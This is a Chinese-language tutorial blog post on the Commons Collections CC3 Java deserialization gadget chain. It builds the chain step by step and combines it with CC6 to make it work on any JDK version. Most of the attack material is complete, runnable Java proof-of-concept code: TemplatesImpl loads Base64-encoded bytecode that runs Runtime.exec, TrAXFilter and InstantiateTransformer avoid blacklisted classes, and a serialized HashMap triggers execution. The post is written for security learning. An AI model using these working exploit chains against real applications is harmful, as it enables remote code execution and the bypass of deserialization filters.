JAVA安全|Gadget篇:CC3链及其通杀改造

admin 2023年2月1日17:02:39评论39 views字数 13909阅读46分21秒阅读模式
0x00  前言
    JAVA安全系列文章主要为了回顾之前学过的java知识,构建自己的java知识体系,并实际地将java用起来,达到熟练掌握java编程,并能用java编写工具的目的。此系列文章需要读者具备一定java基础,不定时更新。相关详情可通过我的公众号文章进行查看:
JAVA安全|即将开启:java安全系列文章
    Gadget篇主要是分析一些经典常见的反序列化链,基本来自于Ysoserial工具。与网上大部分分析反序列化链文章的不同点在于我会尽可能地从如何发现链子的角度来讲解,参考的资料主要为B站白日梦组长的视频以及P牛的JAVA安全漫谈系列文章

    本文为JAVA安全系列文章第十四篇,学习CC3链以及对其进行通杀改造。

    

    前面我们在基础篇中补充了动态字节码加载这个知识点,我们知道通过TemplatesImpl这个类的newTransformer()方法可以调用其内部自定义的TransletClassLoader来加载字节码获取Class对象,再通过newInstance()对其进行实例化,其中加载的字节码可由我们控制传入。

    这其实是另一种执行命令的方式,前面我们都是通过InvokerTransformer来调用任意对象的任意方法来达到执行命令的目的,那么学了动态字节码加载,我们又如何即学即用地将其运用到反序列化链的构造中呢?

0x01  TemplatesImpl改造TransformedMap CC1 Demo

JAVA安全|Gadget篇:TransformedMap CC1链一文中我们提到p神在《JAVA安全漫谈》中谈到的一个巨简单弹计算器Demo:

JAVA安全|Gadget篇:CC3链及其通杀改造

那么结合前面通过TemplatesImpl加载字节码的POC,我们如何对这段Demo进行改造,让最终执行命令的是TemplatesImpl呢?

只需让transformers数组中的InvokerTransformer最终调用的是TemplatesImpl#newTransformer()即可。即为:

JAVA安全|Gadget篇:CC3链及其通杀改造

完整Demo如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3_Demo {
   public static void setFieldValue(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj,value);
  }

   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAJgoACAAVCQAWABcIABgKABkAGggAGwgAHAcAHQcAHgEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAfAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwAEAARBwAgDAAhACIBABjosIPnlKjkuobmma7pgJrku6PnoIHlnZcHACMMACQAJQEAFeiwg+eUqOaXoOWPguaehOmAoOWZqAEAGOiwg+eUqOS6humdmeaAgeS7o+eggeWdlwEABFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEABwAIAAAAAAAEAAEACQAKAAIACwAAABkAAAADAAAAAbEAAAABAAwAAAAGAAEAAAALAA0AAAAEAAEADgABAAkADwACAAsAAAAZAAAABAAAAAGxAAAAAQAMAAAABgABAAAAEAANAAAABAABAA4AAQAQABEAAQALAAAAOQACAAEAAAAVKrcAAbIAAhIDtgAEsgACEgW2AASxAAAAAQAMAAAAEgAEAAAAGgAEABcADAAbABQAHAAIABIAEQABAAsAAAAlAAIAAAAAAAmyAAISBrYABLEAAAABAAwAAAAKAAIAAAATAAgAFAABABMAAAACABQ=");
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates,"_name","xxx");
       setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
       setFieldValue(templates,"_bytecodes",new byte[][]{code});

       Transformer[] transformers = new Transformer[]{
               new ConstantTransformer(templates),
               new InvokerTransformer("newTransformer",null,null)
      };

       Transformer transformerChain = new ChainedTransformer(transformers);

       Map innerMap = new HashMap();
       Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

       outerMap.put("test","123");
  }
}

运行结果:

JAVA安全|Gadget篇:CC3链及其通杀改造

那我们只需要把这段Demo的TransformedMap换成LazyMap,接上Ysoserial CC1的后半段是不是就变成了CC3链了?当然不是,如果CC3链仅是如此,我不会花一篇文章来写它了。

0x02  Ysoserial CC3链

1.为什么需要CC3链

据p神在《JAVA安全漫谈》中的描述,在Ysoserial的作者发布第一版的ysoserial后,开发者们开始寻求⼀种安全的过滤⽅法,于是SerialKiller—⼀个Java反序列化过滤器就诞⽣。它通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在其发布的第⼀个版本代码中,最初的⿊名单中就有InvokerTransformer:

JAVA安全|Gadget篇:CC3链及其通杀改造

CC3的产生似乎就是为了绕过对InvokerTransformer的限制。

那如何做到不使用InvokerTransformer就能构造一条完整的链子呢?

2.TrAXFilter

我们就按照以前的思路通过find usages来找谁调用了TemplatesImpl#newTransformer():

JAVA安全|Gadget篇:CC3链及其通杀改造

我们选择看着就觉得比较简单的com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter这个类。在它的构造器中调用了(TransformerImpl) templates.newTransformer()。

3.InstantiateTransformer

由于是构造方法,若我们再按照之前的思路去找谁调用了TrAXFilter的构造器时,发现最终找到的还是构造方法。此处需要转变下思路,在一系列实现了org.apache.commons.collections.Transformer接口的类中,除了InvokerTransformer还有没有哪个可以调用到任意类的构造方法呢?

最终找到org.apache.commons.collections.functors.InstantiateTransformer:

JAVA安全|Gadget篇:CC3链及其通杀改造

显然,这个类就是为调用任意类的public构造方法而生的,它的transform()方法通过反射调用任意类的public构造器。妙哉!!!

4.POC编写

显然,Gadget链很清晰了,我们只需要将上面的CC3_demo中的Transformer数组改成:

JAVA安全|Gadget篇:CC3链及其通杀改造

字节码改成弹计算器,后面改成LazyMap CC1链的后半部分,即为CC3链的POC。

完整POC如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javafx.fxml.FXML;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
   public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj, value);
  }

   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IOException {
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_name", "xxx");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
       setFieldValue(templates, "_bytecodes", new byte[][]{code});

       Transformer[] transformers = new Transformer[]{
               new ConstantTransformer(TrAXFilter.class),
               new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
      };

       ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
       Map map = new HashMap();

       Map lazyMap = LazyMap.decorate(map, chainedTransformer);


       Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
       Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
       constructor.setAccessible(true);
       InvocationHandler handler = (InvocationHandler) constructor.newInstance(FXML.class, lazyMap);

       Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler);

       handler = (InvocationHandler) constructor.newInstance(FXML.class, proxyMap);

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(handler);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();
  }
}

运行即弹计算器:

JAVA安全|Gadget篇:CC3链及其通杀改造

0x03  CC3 + 简化版CC6 = ?

显然,CC3链同CC1链一样,都会有JDK<=8u71的限制。那么我们可以结合前面学的CC6链(实际上是简化版CC6)将其改造成一个通杀的链子。这里不解释,完全理解了前面分析的文章cv大法即可立马写出改造的POC。

代码如下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3_CC6 {
   public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IOException {
       byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");
       TemplatesImpl templates = new TemplatesImpl();
       setFieldValue(templates, "_name", "xxx");
       setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
       setFieldValue(templates, "_bytecodes", new byte[][]{code});

       Transformer[] fakeformers = {new ConstantTransformer(1)};
       Transformer[] transformers = new Transformer[]{
               new ConstantTransformer(TrAXFilter.class),
               new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
      };

       //先传入人畜无害的fakeformers避免put时就弹计算器
       ChainedTransformer chainedTransformer = new ChainedTransformer(fakeformers);

       Map innerMap = new HashMap();
       Map lazyMap = LazyMap.decorate(innerMap, chainedTransformer);
       TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "xxx");

       HashMap hashMap = new HashMap();
       hashMap.put(tiedMapEntry, "test");
       lazyMap.remove("xxx");

       //反射修改chainedTransformer中的iTransformers为transforms
//       Class clazz = chainedTransformer.getClass();
//       Field field = clazz.getDeclaredField("iTransformers");
//       field.setAccessible(true);
//       field.set(chainedTransformer, transformers);
       setFieldValue(chainedTransformer,"iTransformers",transformers);

       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       ObjectOutputStream oos = new ObjectOutputStream(bos);
       oos.writeObject(hashMap);
       oos.close();

       ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));
       ois.readObject();
  }

   public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {
       Class<?> clazz = obj.getClass();
       Field fieldName = clazz.getDeclaredField(field);
       fieldName.setAccessible(true);
       fieldName.set(obj, value);
  }
}

JDK11下运行,无压力弹出计算器:

JAVA安全|Gadget篇:CC3链及其通杀改造

0x04  总结

1.CC3链可以看成是使用了TemplatesImpl动态加载字节码执行命令且无InvokerTransformer的CC1改造链。

2.细心的读者会发现TrAXFilter这个类它没有实现Serializable接口,它是不能序列化的,类图如下:

JAVA安全|Gadget篇:CC3链及其通杀改造

但我们的POC能运行成功,这又是为什么呢?因为我们传入的是TrAXFilter.class。在学习TransformedMap CC1链时就说过Class这个类是可序列化的,故而一个不可序列化类的class对象是可序列化的。

3.结合(简化版)CC6可以改造CC3为一条通杀链,它与CCK1,CC11的主要区别在于其Transformer数组长度为2,且其没用到InvokerTransformer这个类。也可以当作一条很好的链子使用。

CCK1 ,CC11这两条链子我们经常会在shiro反序列化漏洞利用工具中见到,那么传说中的CCK1 ,CC11又是怎么回事呢?

欲知后事如何,且听下回分解~


参考:

p神《JAVA安全漫谈》

B站白日梦组长

Java安全系列文集

第0篇:JAVA安全|即将开启:java安全系列文章

第1篇:JAVA安全|基础篇:认识java反序列化

第2篇:JAVA安全|基础篇:实战java原生反序列化

第3篇:JAVA安全|基础篇:反射机制之快速入门

第4篇:JAVA安全|基础篇:反射机制之Class类

第5篇:JAVA安全|基础篇:反射机制之类加载

第6篇:JAVA安全|基础篇:反射机制之常见ReflectionAPI使用

第7篇:JAVA安全|Gadget篇:URLDNS链

第8篇:JAVA安全|Gadget篇:TransformedMap CC1链

第9篇:JAVA安全|基础篇:反射的应用—动态代理

第10篇:JAVA安全|Gadget篇:LazyMap CC1链

第11篇:JAVA安全|Gadget篇:无JDK版本限制的CC6链

第12篇:JAVA安全|基础篇:动态字节码加载(一)

第13篇:JAVA安全|基础篇:动态字节码加载(二)


如果喜欢小编的文章,记得多多转发,点赞+关注支持一下哦~,您的点赞和支持是我最大的动力~


原文始发于微信公众号(沃克学安全):JAVA安全|Gadget篇:CC3链及其通杀改造

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月1日17:02:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JAVA安全|Gadget篇:CC3链及其通杀改造http://cn-sec.com/archives/1531526.html

发表评论

匿名网友 填写信息